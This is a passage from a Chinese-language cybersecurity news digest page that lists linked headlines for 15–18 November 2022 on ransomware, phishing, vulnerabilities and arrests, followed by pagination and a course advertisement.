https://www.bleepingcomputer.com/news/security/qbot-phishing-abuses-windows-control-panel-exe-to-infect-devices/ 9、瓦努阿图政府网站疑似遭受勒索攻击
https://www.bbc.com/news/world-asia-63632129 10、网络钓鱼攻击冒充Instagram窃取用户凭据
https://www.infosecurity-magazine.com/news/instagram-credential-phishing
网络安全日报 2022年11月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、OpenSSF 采用微软内置的供应链安全框架
https://www.securityweek.com/openssf-adopts-microsoft-built-supply-chain-security-framework 2、密歇根州的两所公立学校遭到勒索软件攻击
https://securityaffairs.co/wordpress/138677/cyber-crime/public-schools-michigan-ransomware.html 3、臭名昭著的 Zeus 僵尸网络团伙头目在日内瓦被捕
https://thehackernews.com/2022/11/fbi-wanted-leader-of-notorious-zeus.html 4、Magento 商店成为大规模"TrojanOrders"攻击的目标
https://www.bleepingcomputer.com/news/security/magento-stores-targeted-in-massive-surge-of-trojanorders-attacks/ 5、KillNet黑客组织声称对FBI网站进行了DDoS攻击
https://www.bankinfosecurity.com/pro-moscow-nuisance-hackers-claim-ddos-attack-on-fbi-website-a-20471 6、Twitter 源代码表明,端到端加密私信即将到来
https://www.freebuf.com/news/350033.html 7、中美俄首次参与网安演习,明年将面对面对抗
https://www.freebuf.com/articles/349999.html 8、欧盟制定网络防御政策,以应对俄乌网络战
https://www.secrss.com/articles/48998 9、朝鲜黑客使用更新的恶意软件瞄准欧洲组织
https://www.bleepingcomputer.com/news/security/north-korean-hackers-target-european-orgs-with-updated-malware/ 10、福布斯全球2000强企业多数未采取关键域安全措施
https://www.csoonline.com/article/3680150/global-2000-companies-failing-to-adopt-key-domain-security-measures.html
网络安全日报 2022年11月17日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、研究人员披露F5了产品中的高危远程代码执行漏洞
https://www.securityweek.com/remote-code-execution-vulnerabilities-found-f5-products 2、Firefox 发布107版本,修复了大量漏洞
https://www.securityweek.com/firefox-107-patches-high-impact-vulnerabilities 3、Lazarus APT 使用 DTrack 后门攻击拉丁美洲和欧洲组织
https://securityaffairs.co/wordpress/138622/apt/dtrack-backdoor-targets-europe-latin-america.html 4、新的 RapperBot 活动针对游戏服务器发起DDoS攻击
https://securityaffairs.co/wordpress/138615/malware/rapperbot-botnet-targets-game-servers.html 5、谷歌将于 2023年初在Android 13上推出隐私沙盒系统测试版
https://securityaffairs.co/wordpress/138607/mobile-2/google-android-privacy-sandbox.html 6、研究人员发现数百个 Amazon RDS 实例泄露了用户的个人数据
https://thehackernews.com/2022/11/researchers-discover-hundreds-of-amazon.html 7、商业恶意软件Typhon Stealer出现新版本并更名为Typhon Reborn
https://unit42.paloaltonetworks.com/typhon-reborn-stealer/ 8、 研究人员发现伪装成印度尼西亚人民银行的网络钓鱼活动
https://blog.cyble.com/2022/11/15/phishing-campaign-targeting-indonesian-bri-bank-using-sms-stealer/ 9、研究人员发现推特的双因素身份验证存在漏洞
https://www.govinfosecurity.com/twitter-two-factor-authentication-has-vulnerability-a-20475 10、意大利暂停使用面部识别技术,犯罪调查例外
https://www.solidot.org/story?sid=73370
网络安全日报 2022年11月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、研究人员在 Spotify 的后台发现了严重的 RCE漏洞
https://securityaffairs.co/wordpress/138591/security/spotify-backstage-rce.html 2、PCSpoof:一种影响航天器和飞机安全的新型攻击
https://thehackernews.com/2022/11/pcspoof-new-vulnerability-affects.html 3、黑客出售从俄罗斯共享踏板车服务平台Whoosh窃取的数据
https://www.bleepingcomputer.com/news/security/whoosh-confirms-data-breach-after-hackers-sell-72m-user-records/ 4、黑客入侵德意志银行的网络系统后开始出售访问权限
https://securityaffairs.co/wordpress/138416/data-breach/deutsche-bank-alleged-data-breach.html 5、世界互联网大会网络法治论坛发布《反电信网络诈骗倡议》
https://www.secrss.com/articles/48914 6、恶意活动通过伪造中文版Telegram网站投放远控木马
https://www.freebuf.com/articles/paper/347794.html 7、英国国家网络安全中心提醒该国消费者提高网络安全意识
https://www.ncsc.gov.uk/news/festive-shoppers-urged-to-be-cyber-aware 8、OakBend医疗中心承认勒索攻击事件导致数据泄露
https://www.govinfosecurity.com/texas-hospital-says-ransomware-breach-affected-500000-a-20454 9、研究人员披露了 Zendesk Explore中的严重 SQLi 和访问缺陷漏洞
https://thehackernews.com/2022/11/researchers-reported-critical-sqli-and.html 10、Mastodon 用户容易受到密码窃取攻击
https://portswigger.net/daily-swig/mastodon-users-vulnerable-to-password-stealing-attacks
网络安全日报 2022年11月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Aiphone门禁对讲系统存在漏洞可导致被攻击者开门
https://www.securityweek.com/aiphone-intercom-system-vulnerability-allows-hackers-open-doors 2、NSA 发布了有关组织如何缓解软件内存安全问题的指南
https://www.securityweek.com/nsa-publishes-guidance-mitigating-software-memory-safety-issues 3、谷歌因用户位置跟踪问题与40个州达成3.92亿美元的和解协议
https://www.securityweek.com/40-states-settle-google-location-tracking-charges-392m 4、大规模恶意 SEO 活动破坏了 15,000 多个 WordPress 网站
https://securityaffairs.co/wordpress/138523/hacking/wordpress-sites-black-hat-seo.html 5、Worok 黑客滥用 Dropbox API 通过隐藏在图像中的后门渗出数据
https://thehackernews.com/2022/11/worok-hackers-abuse-dropbox-api-to.html 6、谷歌发布安全补丁修复 Android 锁屏绕过漏洞
https://www.securityweek.com/google-pays-70k-android-lock-screen-bypass 7、研究人员发现用于挖矿和DDoS攻击的新型恶意软件KmsdBot
https://securityaffairs.co/wordpress/138514/malware/kmsdbot-golang-malware.html 8、加密货币交易巨头FTX遭攻击申请破产,6亿美元资产被盗
https://www.freebuf.com/news/349677.html 9、乌警方逮捕了一个每年获利2亿欧元的网络诈骗团伙
https://securityaffairs.co/wordpress/138481/cyber-crime/ukraine-police-dismantled-fraud-group.html 10、欧盟网络安全局发布《2022 年网络安全威胁全景》报告
https://www.secrss.com/articles/48895
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

